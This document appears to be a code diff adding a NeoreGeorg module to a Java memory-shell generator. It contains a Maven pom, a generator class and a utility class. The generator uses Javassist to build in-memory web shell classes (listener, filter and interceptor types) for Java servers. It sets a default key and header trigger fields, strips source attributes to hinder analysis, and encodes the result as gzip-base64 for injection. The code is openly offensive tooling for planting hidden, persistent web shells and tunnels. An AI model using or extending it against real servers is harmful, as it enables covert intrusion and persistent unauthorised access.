61快乐

jmg-neoregeorg/pom.xml

@@ -0,0 +1,21 @@
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+    <parent>
+        <groupId>jmg</groupId>
+        <artifactId>java-memshell-generator</artifactId>
+        <version>${revision}</version>
+    </parent>
+    <artifactId>jmg-neoregeorg</artifactId>
+
+
+    <dependencies>
+        <dependency>
+            <groupId>jmg</groupId>
+            <artifactId>jmg-core</artifactId>
+            <version>${revision}</version>
+            <scope>compile</scope>
+        </dependency>
+    </dependencies>
+
+</project>

jmg-neoregeorg/src/main/java/jmg/neoregeorg/generator/NeoreGeorgGenerator.java

@@ -0,0 +1,56 @@
+package jmg.neoregeorg.generator;
+
+import javassist.ClassClassPath;
+import javassist.CtClass;
+
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.generator.IShellGenerator;
+import jmg.core.util.CommonUtil;
+import jmg.core.util.JavassistUtil;
+import jmg.core.util.ResponseUtil;
+import jmg.neoregeorg.util.ShellUtil;
+
+public class NeoreGeorgGenerator implements IShellGenerator {
+
+    @Override
+    public void initShell(AbstractConfig config) {
+        config.setKey("key");
+    }
+
+    @Override
+    public byte[] makeShell(AbstractConfig config) throws Exception {
+        initShell(config);
+        String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
+        String shellClassName = ShellUtil.getShellClassName(shellName);
+        byte[] bytes = modifyShell(shellClassName, config);
+        config.setShellBytes(bytes);
+        config.setShellBytesLength(bytes.length);
+        config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
+        return bytes;
+    }
+
+    @Override
+    public byte[] modifyShell(String className, AbstractConfig config) {
+        byte[] bytes = new byte[0];
+        try {
+            pool.insertClassPath(new ClassClassPath(NeoreGeorgGenerator.class));
+            CtClass ctClass = pool.getCtClass(className);
+            ctClass.getClassFile().setVersionToJava5();
+            JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
+            JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
+            JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
+            if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
+                String methodBody = ResponseUtil.getMethodBody(config.getServerType());
+                JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
+            }
+            JavassistUtil.removeSourceFileAttribute(ctClass);
+            bytes = ctClass.toBytecode();
+            ctClass.detach();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return bytes;
+    }
+
+}

jmg-neoregeorg/src/main/java/jmg/neoregeorg/util/ShellUtil.java

@@ -0,0 +1,42 @@
+package jmg.neoregeorg.util;
+
+import jmg.core.config.Constants;
+import jmg.neoregeorg.memshell.NeoreGeorgFilter;
+import jmg.neoregeorg.memshell.NeoreGeorgInterceptor;
+import jmg.neoregeorg.memshell.NeoreGeorgListener;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class ShellUtil {
+
+    private static final Map<String, String> SHELL_CLASSNAME_MAP = new HashMap();
+    private static final Map<String, Map<String, String>> toolMap = new HashMap();
+
+    public ShellUtil() {
+    }
+
+    public static String getShellName(String toolType, String shellType) {
+        Map<String, String> shellMap = toolMap.get(toolType);
+        return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
+    }
+
+    public static String getShellClassName(String shellName) throws Exception {
+        if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
+            throw new Exception("Invalid shell type '" + shellName + "'");
+        } else {
+            return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
+        }
+    }
+
+    static {
+        SHELL_CLASSNAME_MAP.put(NeoreGeorgListener.class.getSimpleName(), NeoreGeorgListener.class.getName());
+        SHELL_CLASSNAME_MAP.put(NeoreGeorgFilter.class.getSimpleName(), NeoreGeorgFilter.class.getName());
+        SHELL_CLASSNAME_MAP.put(NeoreGeorgInterceptor.class.getSimpleName(), NeoreGeorgInterceptor.class.getName());
+        Map<String, String> regeorgMap = new HashMap();
+        regeorgMap.put(Constants.SHELL_FILTER, NeoreGeorgFilter.class.getSimpleName());
+        regeorgMap.put(Constants.SHELL_LISTENER, NeoreGeorgListener.class.getSimpleName());
+        regeorgMap.put(Constants.SHELL_INTERCEPTOR, NeoreGeorgInterceptor.class.getSimpleName());
+        toolMap.put(Constants.TOOL_NEOREGEORG, regeorgMap);
+    }
+}